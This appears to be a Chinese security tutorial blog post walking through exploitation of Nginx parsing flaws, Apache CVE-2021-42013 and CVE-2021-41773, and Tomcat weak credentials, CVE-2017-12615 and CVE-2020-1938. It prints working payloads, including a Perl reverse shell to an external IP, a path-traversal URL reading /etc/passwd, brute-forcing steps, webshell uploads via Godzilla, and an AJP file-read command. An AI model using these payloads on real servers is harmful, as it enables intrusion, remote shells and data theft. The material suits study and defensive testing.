服务安全-中间件-ApacheTomcatNginx
知识点
什么是中间件
中间件(Middleware)是处于操作系统和应用程序之间的软件,也有人认为它应该属于操作系统中的一部分。人们在使用中间件时,往往是一组中间件集成在一起,构成一个平台(包括开发平台和运行平台),但在这组中间件中必需要有一个通信中间件,即中间件=平台+通信,这个定义也限定了只有用于分布式系统中才能称为中间件,同时还可以把它与支撑软件和实用软件区分开来。
通俗理解:
我开了一家炸鸡店,然而周边有很多鸡肉售卖场,为了成本我肯定要比较所有家的价格,选出价格合适和质量合适的一家。但是如果后面又开了新的鸡肉售卖场,我还要继续比较价格和质量,这就会导致非常的麻烦。
然而我可以找一家代理商,跟代理商说好鸡肉的质量和价格,后面我只要好好做炸鸡并按时支付给代理商鸡肉的钱,然后等待质量符合要求的鸡肉就送来就可以,这样就会省去非常多的麻烦。
中间件漏洞
1、中间件-IIS-短文件&解析&蓝屏等---因为IIS漏洞的用处较少以及条件过老,所以不在演示
2、中间件-Nginx-文件解析&命令执行等
3、中间件-Apache-RCE&目录遍历&文件解析等
4、中间件-Tomcat-弱口令&文件上传&文件包含等
漏洞演示
中间件-Nginx-文件解析
后缀解析 文件名解析---版本:0.8--1.4.3 1.5--1.5.7
配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
上传正常的图片文件,利用burp抓包,将文件内容改为php代码并在文件名后面加上空格php代码并在文件名后面加上空格
访问文件并抓包,在图片名后面加上两个空格和.php
在hex(64位编码)的地方将第二个空格的20改为00
回到raw页面直接访问文件,访问成功
中间件-Apache-RCE&目录遍历&文件解析
CVE_2021_42013 RCE--2.4.49和2.4.50
Payload:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
首先在kali上进行端口的监听并利用火狐的插件使用post请求访问,并抓包
修改请求地址,并将post的参数改为payload(通过菱角可以获取反弹shell的payload)
将数据放出,kali中直接反弹成功
CVE_2021_41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
Burp:/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
直接利用burp访问页面,将payload放入url中,payload末位代码为执行的命令,直接发送即可
CVE-2017-15715 文件解析
Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
该漏洞适合黑名单时使用,在禁止php上传的情况下,在下面的文件名(保存后的文件名)后面加上空格,并在hex中将空格改为0a进行绕过
上传成功后,利用burp访问上传文件,并在文件名后加上%0a可以直接执行后门脚本
中间件-Tomcat-弱口令&文件上传&文件包含
弱口令猜解
工具地址: GitHub - BeichenDream/Godzilla: 哥斯拉
配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell
通过访问Tomcat的登录页面,进行爆破攻击。
爆破账号密码过后,用java启动哥斯拉,利用哥斯拉生成后门脚本jsp文件,并压缩成jar进行上传
上传之后,访问上传的jsp文件,页面显示空白为正常,利用哥斯拉进行链接(注意:有效载荷和加密器要与生成后门时一致)
测试链接成功后,添加并进行即可
CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79
PUT /1.jsp/ HTTP/1.1
shell代码
利用post方法访问上传jsp文件,然后再burp中改为put请求并在post内容中写入哥斯拉生成的后门代码,上传成功后直接利用哥斯拉链接路径就可
CVE_2020_1938 文件包含
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
工具:GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞
D:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.236.76 -p 63667 -f WEB-INF/web.xml
直接利用py脚本,指定ip和端口,-f 指定读取的文件即可
服务安全-中间件-ApacheTomcatNginx相关推荐
- 简述微服务框架中间件
CSDN话题挑战赛第2期 参赛话题:Java微服务 大家可分享关于Java微服务相关知识,包括但不限于Java微服务开发经验.架构组成.技术交流.中间件等内容,我们鼓励springcloud架构为基础 ...
- dubbo服务治理中间件
Dubbo是阿里巴巴开发用来治理服务的中间件. provider: 服务提供方(service服务层) consumer: 服务消费方(web表现层) registry: 服务注册中心(zookeep ...
- 高级架构师,精通JAVA/高并发/微服务/分布式/中间件
JAVA高级架构师专栏 大纲介绍 Java基础复习 单点系统 Springboot框架应用 页面开发模版引擎 Java核心基础 JVM调优 高并发优化 Spring.Mybatis.Springboo ...
- 微服务09——中间件
什么是 "中间件": 中间件,对以后的路由全部生效. 设置好中间件以后,所有的路由都会使用这个中间件. 设置以前的路由,不生效. 用于 两个模块之间的 功能 软件(模块) 中间件: ...
- (原创)OpenStack服务如何使用Keystone(三)---详细配置Keystone中间件
(一)Keystone端的操作 (二)如何在OpenStack服务上部署Keystone中间件 (三)详细配置keystonemiddleware 前文我们介绍了如何部署Keystone中间件以及中间 ...
- CoralCache:一个提高微服务可用性的中间件
摘要:当数据库出问题时能降级从本地缓存的数据中查询数据,CoralCache就是这样一个提高微服务可用性的中间件. 背景 有些场景下,微服务依赖数据库中一些配置项或者数量很少的数据,但当数据库本身有问 ...
- Node.js中的egg入门、egg路由、egg控制器、egg服务、egg中间件
目录 1 egg入⻔ 1.1 初始化 1.2 目录结构 1.3 内置对象 Application Context Request Response Controller Service Helper ...
- Spring Cloud 微服务开发:入门、进阶与源码剖析 —— 1.3 Spring Cloud 与中间件
1.3 Spring Cloud 与中间件 1.3.1 什么是中间件 近年来,越来越多的领域已经离不开计算机.网络技术以及通用技术了.并且随着计算机技术的迅猛发展,更多的软件被要求在很多不同的网络协议 ...
- Knife4j 2.0.8发布,史诗级微服务聚合文档中间件诞生
Knife4j前身是swagger-bootstrap-ui,是一个为Swagger接口文档赋能的工具 文档:https://xiaoym.gitee.io/knife4j/(opens new wi ...
最新文章
- CentOS 7.1云服务器 配置FTP服务器vsftpd
- Access数据库操作软件研究
- 面向对象的三大特征之多态(第三个必要条件)
- 用hutool进行RSA编码及解码
- HDU - 1005 Number Sequence(循环群)
- linux驱动导出文件属性,将Linux配置文件和设置备份到USB闪存驱动器的方法
- linux多网口dhcp服务绑定,Linux系统实现多网段DHCP服务器配置
- loading initial ramdisk 卡住_驿站晨读 | 一城市多家快递“卡住了”!有快递网点直接建议:换别家吧......
- Linux Shell文本处理工具集锦
- plc tcp ip通讯怎么只能连一个客户端_如何远程读取西门子PLC数据?
- pc和移动端获取滚动条的位置
- 在鉴定名画真伪这件事上,专家可能要被AI代替了
- 【机器学习】决策树的理论与实践
- 良好的XHTML编写习惯
- 论通过测试与失败测试
- 将爬取到的数据存入数据框并导出
- 安装系统不求人 就算没有光驱和软驱也能行
- Word另存为PDF时,将目录转换为PDF书签
- C4D界面认识及常用操作
- Mysql开启局域网连接